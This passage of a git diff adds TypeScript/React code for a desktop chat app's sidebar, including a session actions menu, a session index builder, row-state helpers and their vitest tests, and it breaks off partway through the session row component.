+        <kit.Item
+          key={node.id}
+          onSelect={() => {
+            triggerHaptic('selection')
+            moveSessionToProject(sessionId, node.id, profile)
+              .then(() => notify({ durationMs: 2_000, kind: 'success', message: p.movedTo(node.label) }))
+              .catch(err => notifyError(err, p.moveFailed))
+          }}
+        >
+          {node.label}
+        </kit.Item>
+      ))}
+    </>
+  )
+}
+
+function useSessionActions({
+  sessionId,
+  title,
+  pinned = false,
+  profile,
+  onPin,
+  onBranch,
+  onArchive,
+  onDelete,
+  onClose,
+  onHideTabBar,
+  surface = 'row',
+  tabPaneId
+}: SessionActions) {
+  const { t } = useI18n()
+  const r = t.sidebar.row
+  const [renameOpen, setRenameOpen] = useState(false)
+  const tiles = useStore($sessionTiles)
+  const selectedStoredSessionId = useStore($selectedStoredSessionId)
+
+  // Already showing as a tab somewhere (a tile, or loaded in main — main IS
+  // a tab): offering "Open in new tab" again is noise.
+  const alreadyTabbed = sessionId === selectedStoredSessionId || tiles.some(tile => tile.storedSessionId === sessionId)
+
+  const spec = (partial: Omit<ActionItemSpec, 'onSelect'> & { onSelect: () => void }): ActionItemSpec => partial
+
+  // OPEN — where else this session can go. A tab surface IS a tab already,
+  // so it only offers the window hop (and its own Close, below).
+  const openItems: ActionItemSpec[] = [
+    ...(surface === 'row' && !alreadyTabbed
+      ? [
+          spec({
+            disabled: !sessionId,
+            icon: 'browser',
+            label: r.openInNewTab,
+            onSelect: () => {
+              triggerHaptic('selection')
+              // Stack into the MAIN zone as a tab (center dock; the strip
+              // sticky-shows on gain) — the door to the tab bar. Focuses first
+              // if the session is already on screen.
+              openSession(sessionId, () => undefined, 'tab')
+            }
+          })
+        ]
+      : []),
+    ...(canOpenSessionWindow()
+      ? [
+          spec({
+            disabled: !sessionId,
+            icon: 'link-external',
+            label: r.newWindow,
+            onSelect: () => {
+              triggerHaptic('selection')
+              openSession(sessionId, () => undefined, 'window')
+            }
+          })
+        ]
+      : [])
+  ]
+
+  // IDENTITY — name/mark/reference the session.
+  const identityItems: ActionItemSpec[] = [
+    spec({
+      disabled: !sessionId,
+      icon: 'edit',
+      label: r.rename,
+      onSelect: () => {
+        triggerHaptic('selection')
+        setRenameOpen(true)
+      }
+    }),
+    spec({
+      disabled: !onPin,
+      icon: 'pin',
+      label: pinned ? r.unpin : r.pin,
+      onSelect: () => {
+        triggerHaptic('selection')
+        onPin?.()
+      }
+    })
+  ]
+
+  // WORK — derive/extract from the session.
+  const workItems: ActionItemSpec[] = [
+    spec({
+      disabled: !onBranch,
+      // Fork glyph to match the inline message action's GitFork icon
+      // (assistant-message.tsx). NB: this codicon font has no `git-fork`
+      // glyph (only `git-fork-private`); `repo-forked` is the fork icon.
+      icon: 'repo-forked',
+      label: r.branchFrom,
+      onSelect: () => {
+        triggerHaptic('selection')
+        onBranch?.()
+      }
+    }),
+    spec({
+      disabled: !sessionId,
+      icon: 'cloud-download',
+      label: r.export,
+      onSelect: () => {
+        triggerHaptic('selection')
+        void exportSession(sessionId, { profile, title })
+      }
+    })
+  ]
+
+  // TAB — verbs that act on the strip (tabs only; a row isn't a tab).
+  const closeTargets = surface === 'tab' && tabPaneId ? treeTabCloseTargets(tabPaneId) : null
+
+  const tabItems: ActionItemSpec[] =
+    surface === 'tab'
+      ? [
+          ...(tabPaneId
+            ? [
+                spec({
+                  icon: 'refresh',
+                  label: t.zones.reload,
+                  onSelect: () => {
+                    triggerHaptic('selection')
+                    reloadTreePane(tabPaneId)
+                  }
+                })
+              ]
+            : []),
+          ...(onClose
+            ? [
+                spec({
+                  disabled: false,
+                  icon: 'close',
+                  label: t.common.close,
+                  onSelect: () => {
+                    triggerHaptic('selection')
+                    onClose()
+                  }
+                })
+              ]
+            : []),
+          ...(tabPaneId
+            ? [
+                spec({
+                  disabled: !closeTargets?.others,
+                  icon: 'close-all',
+                  label: t.zones.closeOthers,
+                  onSelect: () => {
+                    triggerHaptic('selection')
+                    closeOtherTreeTabs(tabPaneId)
+                  }
+                }),
+                spec({
+                  disabled: !closeTargets?.right,
+                  icon: 'arrow-right',
+                  label: t.zones.closeToRight,
+                  onSelect: () => {
+                    triggerHaptic('selection')
+                    closeTreeTabsToRight(tabPaneId)
+                  }
+                }),
+                spec({
+                  disabled: !closeTargets?.all,
+                  icon: 'clear-all',
+                  label: t.zones.closeAll,
+                  onSelect: () => {
+                    triggerHaptic('selection')
+                    closeAllTreeTabs(tabPaneId)
+                  }
+                })
+              ]
+            : [])
+        ]
+      : []
+
+  // DANGER — put it away / destroy it (delete stays last, destructive-red).
+  const dangerItems: ActionItemSpec[] = [
+    spec({
+      disabled: !onArchive,
+      icon: 'archive',
+      label: r.archive,
+      onSelect: () => {
+        triggerHaptic('selection')
+        onArchive?.()
+      }
+    }),
+    {
+      className: 'text-destructive focus:text-destructive',
+      disabled: !onDelete,
+      icon: 'trash',
+      label: t.common.delete,
+      onSelect: () => {
+        triggerHaptic('warning')
+        onDelete?.()
+      },
+      variant: 'destructive'
+    }
+  ]
+
+  const renderItems = (kit: MenuKit) => (
+    <>
+      {openItems.map(item => renderActionItem(kit, item))}
+      {openItems.length > 0 && <kit.Separator />}
+      {identityItems.map(item => renderActionItem(kit, item))}
+      <kit.Sub>
+        <kit.SubTrigger disabled={!sessionId}>
+          <Codicon name="symbol-color" size="0.875rem" />
+          <span>{t.sidebar.projects.menuAppearance}</span>
+        </kit.SubTrigger>
+        <kit.SubContent className="p-2">
+          <SessionColorSwatches sessionId={sessionId} />
+        </kit.SubContent>
+      </kit.Sub>
+      <CopyButton
+        appearance={kit.copyAppearance}
+        disabled={!sessionId}
+        errorMessage={r.copyIdFailed}
+        iconClassName="size-3.5 text-current"
+        key={r.copyId}
+        label={r.copyId}
+        onCopyError={err => notifyError(err, r.copyIdFailed)}
+        text={sessionId}
+      />
+      <kit.Separator />
+      {workItems.map(item => renderActionItem(kit, item))}
+      <kit.Sub>
+        <kit.SubTrigger disabled={!sessionId}>
+          <Codicon name="folder" size="0.875rem" />
+          <span>{t.sidebar.projects.moveToProject}</span>
+        </kit.SubTrigger>
+        <kit.SubContent>
+          <MoveToProjectItems kit={kit} profile={profile} sessionId={sessionId} />
+        </kit.SubContent>
+      </kit.Sub>
+      {tabItems.length > 0 && (
+        <>
+          <kit.Separator />
+          {tabItems.map(item => renderActionItem(kit, item))}
+        </>
+      )}
+      <kit.Separator />
+      {dangerItems.map(item => renderActionItem(kit, item))}
+      {onHideTabBar && (
+        <>
+          <kit.Separator />
+          {renderActionItem(kit, {
+            disabled: false,
+            icon: 'eye-closed',
+            label: r.hideTabBar,
+            onSelect: () => {
+              triggerHaptic('selection')
+              onHideTabBar()
+            }
+          })}
+        </>
+      )}
+    </>
+  )
+
+  const renameDialog = (
+    <RenameSessionDialog
+      currentTitle={title}
+      onOpenChange={setRenameOpen}
+      open={renameOpen}
+      profile={profile}
+      sessionId={sessionId}
+    />
+  )
+
+  return { renameDialog, renderItems }
+}
+
+interface SessionActionsMenuProps
+  extends SessionActions, Pick<React.ComponentProps<typeof ActionsMenu>, 'align' | 'sideOffset'> {
+  children: React.ReactNode
+}
+
+export function SessionActionsMenu({ children, align = 'end', sideOffset = 6, ...actions }: SessionActionsMenuProps) {
+  const { t } = useI18n()
+  const { renameDialog, renderItems } = useSessionActions(actions)
+
+  return (
+    <>
+      <ActionsMenu
+        align={align}
+        ariaLabel={t.sidebar.row.sessionActions}
+        contentClassName="w-40"
+        items={renderItems}
+        sideOffset={sideOffset}
+      >
+        {children}
+      </ActionsMenu>
+      {renameDialog}
+    </>
+  )
+}
+
+interface SessionContextMenuProps extends SessionActions {
+  children: React.ReactNode
+}
+
+export function SessionContextMenu({ children, ...actions }: SessionContextMenuProps) {
+  const { t } = useI18n()
+  const { renameDialog, renderItems } = useSessionActions(actions)
+
+  return (
+    <>
+      <ActionsContextMenu ariaLabel={t.sidebar.row.sessionActions} contentClassName="w-40" items={renderItems}>
+        {children}
+      </ActionsContextMenu>
+      {renameDialog}
+    </>
+  )
+}
+
+interface RenameSessionDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  sessionId: string
+  currentTitle: string
+  profile?: string
+}
+
+function RenameSessionDialog({ open, onOpenChange, sessionId, currentTitle, profile }: RenameSessionDialogProps) {
+  const { t } = useI18n()
+  const r = t.sidebar.row
+  const [value, setValue] = useState(currentTitle)
+  const [submitting, setSubmitting] = useState(false)
+  const inputRef = useRef<HTMLInputElement>(null)
+
+  useEffect(() => {
+    if (open) {
+      setValue(currentTitle)
+      window.setTimeout(() => inputRef.current?.select(), 0)
+    }
+  }, [currentTitle, open])
+
+  const submit = async () => {
+    const next = value.trim()
+
+    if (!sessionId || submitting) {
+      return
+    }
+
+    if (next === currentTitle.trim()) {
+      onOpenChange(false)
+
+      return
+    }
+
+    setSubmitting(true)
+
+    try {
+      const result = await renameSessionPreferringRpc(sessionId, next, profile)
+      const finalTitle = result.title || next || ''
+      setSessions(prev => prev.map(s => (s.id === sessionId ? { ...s, title: finalTitle || null } : s)))
+      notify({ durationMs: 2_000, kind: 'success', message: r.renamed })
+      onOpenChange(false)
+    } catch (err) {
+      notifyError(err, r.renameFailed)
+    } finally {
+      setSubmitting(false)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{r.renameTitle}</DialogTitle>
+        </DialogHeader>
+        <Input
+          autoFocus
+          disabled={submitting}
+          onChange={event => setValue(event.target.value)}
+          onKeyDown={event => {
+            if (event.key === 'Enter') {
+              event.preventDefault()
+              void submit()
+            } else if (event.key === 'Escape') {
+              onOpenChange(false)
+            }
+          }}
+          placeholder={r.untitledPlaceholder}
+          ref={inputRef}
+          value={value}
+        />
+        <DialogFooter>
+          <Button disabled={submitting} onClick={() => onOpenChange(false)} type="button" variant="ghost">
+            {t.common.cancel}
+          </Button>
+          <Button disabled={submitting} onClick={() => void submit()} type="button">
+            {t.common.save}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/session-index.test.ts b/ui-desktop/src/app/chat/sidebar/session-index.test.ts
new file mode 100644
index 000000000..9b9e7f807
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-index.test.ts
@@ -0,0 +1,48 @@
+import { describe, expect, it } from 'vitest'
+
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { buildSessionByAnyId } from './session-index'
+
+const row = (id: string, extra: Partial<SessionInfo> = {}): SessionInfo =>
+  ({ id, message_count: 1, source: 'cli', started_at: 0, title: id, ...extra }) as SessionInfo
+
+describe('buildSessionByAnyId', () => {
+  it('resolves a pin from every slice the sidebar fetches', () => {
+    // The contract that matters: a pin is looked up in this map no matter
+    // which slice owns the row. Messaging is the one that regressed — a
+    // pinned session is filtered out of its own section, so a miss here
+    // removes it from the sidebar entirely rather than just misplacing it.
+    const index = buildSessionByAnyId([row('recent')], [row('cron_job_1')], [row('telegram_42')])
+
+    for (const id of ['recent', 'cron_job_1', 'telegram_42']) {
+      expect(index.get(id)?.id).toBe(id)
+    }
+  })
+
+  it('resolves a pin stored on the pre-compression lineage root', () => {
+    const index = buildSessionByAnyId([], [], [row('tip', { _lineage_root_id: 'root' })])
+
+    // Both identities point at the one live row.
+    expect(index.get('root')?.id).toBe('tip')
+    expect(index.get('tip')?.id).toBe('tip')
+  })
+
+  it('lets a recents row win a direct id collision', () => {
+    const index = buildSessionByAnyId(
+      [row('dupe', { title: 'from recents' })],
+      [],
+      [row('dupe', { title: 'from messaging' })]
+    )
+
+    expect(index.get('dupe')?.title).toBe('from recents')
+  })
+
+  it('does not let a lineage alias clobber a real row under that id', () => {
+    // 'root' is a live session in its own right AND another row's lineage
+    // root; the real row must win so the pin opens the right conversation.
+    const index = buildSessionByAnyId([row('root')], [], [row('tip', { _lineage_root_id: 'root' })])
+
+    expect(index.get('root')?.id).toBe('root')
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/session-index.ts b/ui-desktop/src/app/chat/sidebar/session-index.ts
new file mode 100644
index 000000000..2b091729c
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-index.ts
@@ -0,0 +1,33 @@
+import type { SessionInfo } from '@/types/clawcodex'
+
+/**
+ * Index sessions by every id a pin might be stored under.
+ *
+ * The sidebar fetches three independent slices — recents, cron, and messaging
+ * — and renders the latter two in self-managed sections. Any of them can be
+ * pinned, so all three must be indexed here or the Pinned section can't
+ * resolve the pin to a row. A pinned session is also filtered out of its own
+ * section, so failing to index it doesn't merely misplace the row: it removes
+ * the session from the sidebar entirely.
+ *
+ * Each session is keyed under both its live id and its lineage root, so a pin
+ * stored before an auto-compression still resolves to the live continuation
+ * tip. Recents are indexed last and win a direct id collision.
+ */
+export function buildSessionByAnyId(
+  visibleSessions: SessionInfo[],
+  cronSessions: SessionInfo[],
+  messagingSessions: SessionInfo[]
+): Map<string, SessionInfo> {
+  const map = new Map<string, SessionInfo>()
+
+  for (const session of [...cronSessions, ...messagingSessions, ...visibleSessions]) {
+    map.set(session.id, session)
+
+    if (session._lineage_root_id && !map.has(session._lineage_root_id)) {
+      map.set(session._lineage_root_id, session)
+    }
+  }
+
+  return map
+}
diff --git a/ui-desktop/src/app/chat/sidebar/session-row-state.test.ts b/ui-desktop/src/app/chat/sidebar/session-row-state.test.ts
new file mode 100644
index 000000000..3cb05a323
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-row-state.test.ts
@@ -0,0 +1,43 @@
+import { describe, expect, it } from 'vitest'
+
+import { sessionDotState, sessionShowsRunningArc } from './session-row-state'
+
+describe('session row running appearance', () => {
+  it('keeps the running arc when an authoritative turn becomes quiet', () => {
+    expect(sessionShowsRunningArc({ isWorking: true, needsInput: false })).toBe(true)
+    expect(
+      sessionDotState({
+        hasBackground: false,
+        isStalled: true,
+        isUnread: false,
+        isWorking: true,
+        needsInput: false
+      })
+    ).toBe('stalled')
+  })
+
+  it('uses the needs-input treatment instead of the running arc', () => {
+    expect(sessionShowsRunningArc({ isWorking: true, needsInput: true })).toBe(false)
+    expect(
+      sessionDotState({
+        hasBackground: true,
+        isStalled: true,
+        isUnread: true,
+        isWorking: true,
+        needsInput: true
+      })
+    ).toBe('needs-input')
+  })
+
+  it('keeps background and unread states below active-turn states', () => {
+    expect(
+      sessionDotState({
+        hasBackground: true,
+        isStalled: false,
+        isUnread: true,
+        isWorking: false,
+        needsInput: false
+      })
+    ).toBe('background')
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/session-row-state.ts b/ui-desktop/src/app/chat/sidebar/session-row-state.ts
new file mode 100644
index 000000000..cb149fb4e
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-row-state.ts
@@ -0,0 +1,42 @@
+export type SessionDotState = 'background' | 'idle' | 'needs-input' | 'stalled' | 'unread' | 'working'
+
+interface SessionRowState {
+  hasBackground: boolean
+  isStalled: boolean
+  isUnread: boolean
+  isWorking: boolean
+  needsInput: boolean
+}
+
+/** Resolve the sidebar dot's mutually-exclusive display state by priority. */
+export function sessionDotState({
+  hasBackground,
+  isStalled,
+  isUnread,
+  isWorking,
+  needsInput
+}: SessionRowState): SessionDotState {
+  if (needsInput) {
+    return 'needs-input'
+  }
+
+  if (isWorking) {
+    return isStalled ? 'stalled' : 'working'
+  }
+
+  if (hasBackground) {
+    return 'background'
+  }
+
+  return isUnread ? 'unread' : 'idle'
+}
+
+/** A quiet turn is still authoritatively running. Keep the unmistakable row
+ * arc until the gateway reports completion; only a blocking prompt suppresses
+ * it in favour of the needs-input treatment. */
+export function sessionShowsRunningArc({
+  isWorking,
+  needsInput
+}: Pick<SessionRowState, 'isWorking' | 'needsInput'>): boolean {
+  return isWorking && !needsInput
+}
diff --git a/ui-desktop/src/app/chat/sidebar/session-row.test.tsx b/ui-desktop/src/app/chat/sidebar/session-row.test.tsx
new file mode 100644
index 000000000..566a1e6ed
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-row.test.tsx
@@ -0,0 +1,187 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { atom } from 'nanostores'
+import type * as React from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { SessionInfo } from '@/clawcodex'
+import type * as ComposerStatusStore from '@/store/composer-status'
+import type * as SessionStore from '@/store/session'
+import type * as SessionStatesStore from '@/store/session-states'
+import type * as WindowsStore from '@/store/windows'
+
+import { SidebarSessionRow } from './session-row'
+
+afterEach(cleanup)
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      sidebar: {
+        row: {
+          ageMin: 'm',
+          ageNow: 'now',
+          backgroundRunning: 'Running in background',
+          finishedUnread: 'Finished',
+          handoffOrigin: (platform: string) => `Started on ${platform}`,
+          needsInput: 'Needs input',
+          sessionActions: 'Session actions',
+          sessionRunning: 'Running',
+          waitingForAnswer: 'Waiting for answer'
+        }
+      }
+    }
+  })
+}))
+
+vi.mock('@/app/chat/profile-tag', () => ({ ProfileTag: () => null }))
+vi.mock('@/app/chat/session-drag', () => ({ startSessionDrag: vi.fn() }))
+// PlatformAvatar is intentionally NOT mocked (do not reintroduce this — see
+// #67500, Gille's third pass): it's a forwardRef component that spreads its
+// props onto the rendered span, and mocking it with a stand-in that spreads
+// props itself only proves the MOCK forwards them, not that the real
+// component does. This file exercises the actual production component so a
+// regression in its ref/prop forwarding fails here again.
+vi.mock('@/lib/chat-runtime', () => ({ sessionTitle: (s: SessionInfo) => (s as unknown as { title: string }).title }))
+vi.mock('@/lib/haptics', () => ({ triggerHaptic: vi.fn() }))
+vi.mock('@/lib/session-source', () => ({
+  handoffOriginSource: (state?: string, platform?: string) => (state && platform ? platform : null),
+  sessionSourceLabel: (source: string) => source
+}))
+vi.mock('@/lib/time', () => ({ coarseElapsed: () => ({ unit: 'minute' as const, value: 5 }) }))
+
+// These mocks use importOriginal rather than replacing the module wholesale:
+// session-row.tsx (and its transitive imports, e.g. session-color.ts) reads
+// several store exports beyond the ones this file cares about, and that set
+// keeps growing as the app evolves upstream. A wholesale replacement mock
+// silently turns every export it doesn't list into `undefined`, which then
+// crashes nanostores' `computed()` the moment a new dependency is added
+// upstream (as happened twice already: $stalledSessionIds, then $sessions).
+// Overriding only the named atoms we actually control keeps this test
+// resilient to that drift.
+vi.mock('@/store/composer-status', async importOriginal => {
+  const actual = await importOriginal<typeof ComposerStatusStore>()
+
+  return { ...actual, $backgroundRunningSessionIds: atom<string[]>([]) }
+})
+vi.mock('@/store/session', async importOriginal => {
+  const actual = await importOriginal<typeof SessionStore>()
+
+  return { ...actual, $unreadFinishedSessionIds: atom<string[]>([]) }
+})
+vi.mock('@/store/session-states', async importOriginal => {
+  const actual = await importOriginal<typeof SessionStatesStore>()
+
+  return {
+    ...actual,
+    $attentionSessionIds: atom<string[]>([]),
+    $stalledSessionIds: atom<string[]>([]),
+    openSessionTile: vi.fn()
+  }
+})
+vi.mock('@/store/windows', async importOriginal => {
+  const actual = await importOriginal<typeof WindowsStore>()
+
+  return {
+    ...actual,
+    canOpenSessionWindow: () => false,
+    openSessionInNewWindow: vi.fn()
+  }
+})
+
+// SessionActionsMenu open behavior is covered in session-actions-menu.test.tsx
+// against the real component. Stub it here so this file stays focused on the
+// row chrome (handoff avatar tip, etc.).
+vi.mock('./session-actions-menu', () => ({
+  SessionActionsMenu: ({ children }: { children: React.ReactNode }) => <>{children}</>,
+  SessionContextMenu: ({ children }: { children: React.ReactNode }) => <>{children}</>
+}))
+
+vi.mock('./use-profile-prewarm', () => ({
+  useProfilePrewarm: () => ({ cancelPrewarm: vi.fn(), startPrewarm: vi.fn() })
+}))
+
+function makeSession(overrides: Partial<SessionInfo> & { title: string }): SessionInfo {
+  return {
+    handoff_platform: null,
+    handoff_state: null,
+    id: 's1',
+    last_active: 0,
+    profile: 'default',
+    started_at: 0,
+    ...overrides
+  } as unknown as SessionInfo
+}
+
+const tipTrigger = (el: HTMLElement) => el.closest('[data-slot="tooltip-trigger"]')
+
+const noop = vi.fn()
+
+describe('SidebarSessionRow', () => {
+  it('keeps an aria-label on the kebab without wrapping it in a Tip', () => {
+    render(
+      <SidebarSessionRow
+        isPinned={false}
+        isSelected={false}
+        isWorking={false}
+        onArchive={noop}
+        onDelete={noop}
+        onPin={noop}
+        onResume={noop}
+        session={makeSession({ title: 'ClawCodex doctor health check results' })}
+      />
+    )
+
+    const kebab = screen.getByRole('button', { name: 'Session actions' })
+    expect(tipTrigger(kebab)).toBeNull()
+  })
+
+  it('does not render a handoff avatar for a locally-started session', () => {
+    const { container } = render(
+      <SidebarSessionRow
+        isPinned={false}
+        isSelected={false}
+        isWorking={false}
+        onArchive={noop}
+        onDelete={noop}
+        onPin={noop}
+        onResume={noop}
+        session={makeSession({ title: 'Local session' })}
+      />
+    )
+
+    // PlatformAvatar's span is the only aria-hidden SPAN this row ever
+    // renders (idle dot / arc-border / branch-stem are all inactive here) —
+    // Codicon icons (e.g. the kebab trigger) are also aria-hidden but render
+    // as <i>, not <span>, so this selector doesn't accidentally match them.
+    expect(container.querySelector('span[aria-hidden="true"]')).toBeNull()
+  })
+
+  it('wraps the handoff platform avatar in a Tip for a session started on another platform', () => {
+    const { container } = render(
+      <SidebarSessionRow
+        isPinned={false}
+        isSelected={false}
+        isWorking={false}
+        onArchive={noop}
+        onDelete={noop}
+        onPin={noop}
+        onResume={noop}
+        session={makeSession({
+          handoff_platform: 'telegram',
+          handoff_state: 'active',
+          title: 'Continued from Telegram'
+        })}
+      />
+    )
+
+    // PlatformAvatar is the REAL component here (see the note above the vi.mock
+    // block, #67500 third pass) — it renders the Telegram brand SVG rather
+    // than the platform name as text, so query the avatar span itself (the
+    // row's only aria-hidden span in this state) rather than text content,
+    // and confirm its tooltip trigger actually attaches to it — proving the
+    // real forwardRef/...rest path works, not a mock that fakes it.
+    const avatar = container.querySelector('span[aria-hidden="true"]')
+    expect(avatar).toBeTruthy()
+    expect(tipTrigger(avatar as HTMLElement)).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/session-row.tsx b/ui-desktop/src/app/chat/sidebar/session-row.tsx
new file mode 100644
index 000000000..f2ab553c7
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-row.tsx
@@ -0,0 +1,278 @@
+import { useStore } from '@nanostores/react'
+import { memo } from 'react'
+import type * as React from 'react'
+
+import { ProfileTag } from '@/app/chat/profile-tag'
+import { startSessionDrag } from '@/app/chat/session-drag'
+import { PlatformAvatar } from '@/app/messaging/platform-icon'
+import { openSession } from '@/app/open-session'
+import type { SessionInfo } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { sessionTitle } from '@/lib/chat-runtime'
+import { triggerHaptic } from '@/lib/haptics'
+import { middleClickHandlers } from '@/lib/middle-click'
+import { handoffOriginSource, sessionSourceLabel } from '@/lib/session-source'
+import { coarseElapsed } from '@/lib/time'
+import { cn } from '@/lib/utils'
+import { $attentionSessionIds } from '@/store/session-states'
+
+import { SessionStatusDot } from '../session-status-dot'
+
+import { SidebarRowBody, SidebarRowGrab, SidebarRowLabel, SidebarRowLead, SidebarRowShell } from './chrome'
+import { SessionActionsMenu, SessionContextMenu } from './session-actions-menu'
+import { sessionShowsRunningArc } from './session-row-state'
+import { useProfilePrewarm } from './use-profile-prewarm'
+
+interface SidebarSessionRowProps extends React.ComponentProps<'div'> {
+  session: SessionInfo
+  /** TUI-style tree stem for branched sessions (`└─ ` / `├─ `). */
+  branchStem?: string
+  isPinned: boolean
+  isSelected: boolean
+  isWorking: boolean
+  onArchive: () => void
+  onBranch?: () => void
+  onDelete: () => void
+  onPin: () => void
+  onResume: () => void
+  reorderable?: boolean
+  dragging?: boolean
+  dragHandleProps?: React.HTMLAttributes<HTMLElement>
+  /** Tag the row with its owning profile (initial chip + tooltip). Used by
+   *  flat cross-profile lists — Pinned and search results in the All-profiles
+   *  view — where no group header communicates ownership (#66003). */
+  showProfile?: boolean
+}
+
+const AGE_KEY = { day: 'ageDay', hour: 'ageHour', minute: 'ageMin' } as const
+
+function formatAge(seconds: number, r: Translations['sidebar']['row']): string {
+  const { unit, value } = coarseElapsed(Date.now() - seconds * 1000)
+
+  // Under a minute reads as "now" — the sidebar never shows a seconds tick.
+  return unit === 'second' ? r.ageNow : `${value}${r[AGE_KEY[unit]]}`
+}
+
+function SidebarSessionRowImpl({
+  session,
+  branchStem,
+  isPinned,
+  isSelected,
+  isWorking,
+  onArchive,
+  onBranch,
+  onDelete,
+  onPin,
+  onResume,
+  reorderable = false,
+  dragging = false,
+  dragHandleProps,
+  showProfile = false,
+  className,
+  style,
+  ref,
+  ...rest
+}: SidebarSessionRowProps) {
+  const { t } = useI18n()
+  const r = t.sidebar.row
+  const { cancelPrewarm, startPrewarm } = useProfilePrewarm(session.profile)
+  const title = sessionTitle(session)
+  const age = formatAge(session.last_active || session.started_at, r)
+  const handleLabel = `Reorder ${title}`
+  // A handed-off session's live source is local, but it originated on a
+  // messaging platform — surface that origin as a small badge so e.g. a
+  // Telegram thread continued here still reads as Telegram.
+  const handoffSource = handoffOriginSource(session.handoff_state, session.handoff_platform)
+  const handoffLabel = handoffSource ? (sessionSourceLabel(handoffSource) ?? handoffSource) : null
+  // True when a clarify prompt in this session is waiting on the user.
+  const needsInput = useStore($attentionSessionIds).includes(session.id)
+
+  return (
+    <SessionContextMenu
+      onArchive={onArchive}
+      onBranch={onBranch}
+      onDelete={onDelete}
+      onPin={onPin}
+      pinned={isPinned}
+      profile={session.profile}
+      sessionId={session.id}
+      title={title}
+    >
+      <SidebarRowShell
+        actions={
+          <div className="relative z-2 grid w-[1.375rem] place-items-center" data-row-actions>
+            {!isWorking && (
+              <span className="pointer-events-none absolute right-6 top-1/2 min-w-6 -translate-y-1/2 text-right text-[0.625rem] leading-none text-(--ui-text-tertiary) opacity-0 transition-opacity group-hover:opacity-100">
+                {age}
+              </span>
+            )}
+            <SessionActionsMenu
+              onArchive={onArchive}
+              onBranch={onBranch}
+              onDelete={onDelete}
+              onPin={onPin}
+              pinned={isPinned}
+              profile={session.profile}
+              sessionId={session.id}
+              title={title}
+            >
+              <Button
+                aria-label={r.sessionActions}
+                className="size-5 rounded-[4px] bg-transparent text-transparent transition-colors duration-100 hover:bg-(--ui-control-active-background) hover:text-foreground focus-visible:bg-(--ui-control-active-background) focus-visible:text-foreground focus-visible:ring-0 data-[state=open]:bg-(--ui-control-active-background) data-[state=open]:text-foreground group-hover:text-(--ui-text-tertiary) [&_svg]:size-3.5!"
+                size="icon"
+                variant="ghost"
+              >
+                <Codicon name="kebab-vertical" size="0.875rem" />
+              </Button>
+            </SessionActionsMenu>
+          </div>
+        }
+        className={cn(
+          'group row-hover relative',
+          isSelected && 'bg-(--ui-row-active-background)',
+          isWorking && 'text-foreground',
+          // Opaque surface while lifted so the dragged row erases what's under
+          // it (translucency let the rows below bleed through).
+          dragging && 'z-10 cursor-grabbing bg-(--ui-sidebar-surface-background)',
+          className
+        )}
+        data-working={isWorking ? 'true' : undefined}
+        onPointerDown={event => {
+          // Reorder drags belong to dnd-kit (the grab handle); the ⋯ actions
+          // cluster keeps its own gestures. Everything else on the row —
+          // including the row-body BUTTON, the natural grab surface — is a
+          // session drag source: a POINTER drag on the shared drag session
+          // (never native HTML5 DnD: no macOS snap-back, Esc aborts
+          // instantly). Sub-threshold releases stay ordinary clicks, so
+          // resume / pin / open-in-window are untouched.
+          if ((event.target as HTMLElement).closest('[data-reorder-handle], [data-row-actions]')) {
+            return
+          }
+
+          startSessionDrag({ id: session.id, profile: session.profile || 'default', title }, event)
+        }}
+        // Hovering a row from another profile (the all-profiles view) telegraphs
+        // a cross-profile resume — start that backend's spawn now so the click
+        // doesn't pay the full cold boot. Same-profile rows no-op inside
+        // prewarmProfileBackend.
+        onPointerEnter={startPrewarm}
+        onPointerLeave={cancelPrewarm}
+        ref={ref}
+        style={style}
+        {...rest}
+      >
+        {sessionShowsRunningArc({ isWorking, needsInput }) && (
+          <span aria-hidden="true" className="arc-border arc-row" />
+        )}
+        <SidebarRowBody
+          className={cn('z-0 group-hover:pr-12', branchStem && 'pl-3.5')}
+          // Middle-click = open in a new tab (browser muscle memory).
+          {...middleClickHandlers(() => {
+            triggerHaptic('selection')
+            openSession(session.id, () => undefined, 'tab')
+          })}
+          onClick={event => {
+            const mod = event.metaKey || event.ctrlKey
+
+            // ⇧⌘-click → pop into its own window (needs standalone windows).
+            if (mod && event.shiftKey) {
+              event.preventDefault()
+              event.stopPropagation()
+              triggerHaptic('selection')
+              openSession(session.id, () => undefined, 'window')
+
+              return
+            }
+
+            // ⌘/⌃-click → open in a new tab (stack into main).
+            if (mod) {
+              event.preventDefault()
+              event.stopPropagation()
+              triggerHaptic('selection')
+              openSession(session.id, () => undefined, 'tab')
+
+              return
+            }
+
+            // ⇧-click → pin.
+            if (event.shiftKey) {
+              event.preventDefault()
+              event.stopPropagation()
+              triggerHaptic('selection')
+              onPin()
+
+              return
+            }
+
+            onResume()
+          }}
+        >
+          {reorderable ? (
+            <SidebarRowGrab
+              ariaLabel={handleLabel}
+              dragging={dragging}
+              dragHandleProps={dragHandleProps}
+              leadClassName={needsInput ? 'overflow-visible' : undefined}
+            >
+              <SessionStatusDot
+                branchStem={branchStem}
+                className="transition-opacity group-hover/handle:opacity-0 group-focus-within/handle:opacity-0"
+                session={session}
+                storedSessionId={session.id}
+              />
+            </SidebarRowGrab>
+          ) : (
+            <SidebarRowLead className={needsInput ? 'overflow-visible' : 'overflow-hidden'}>
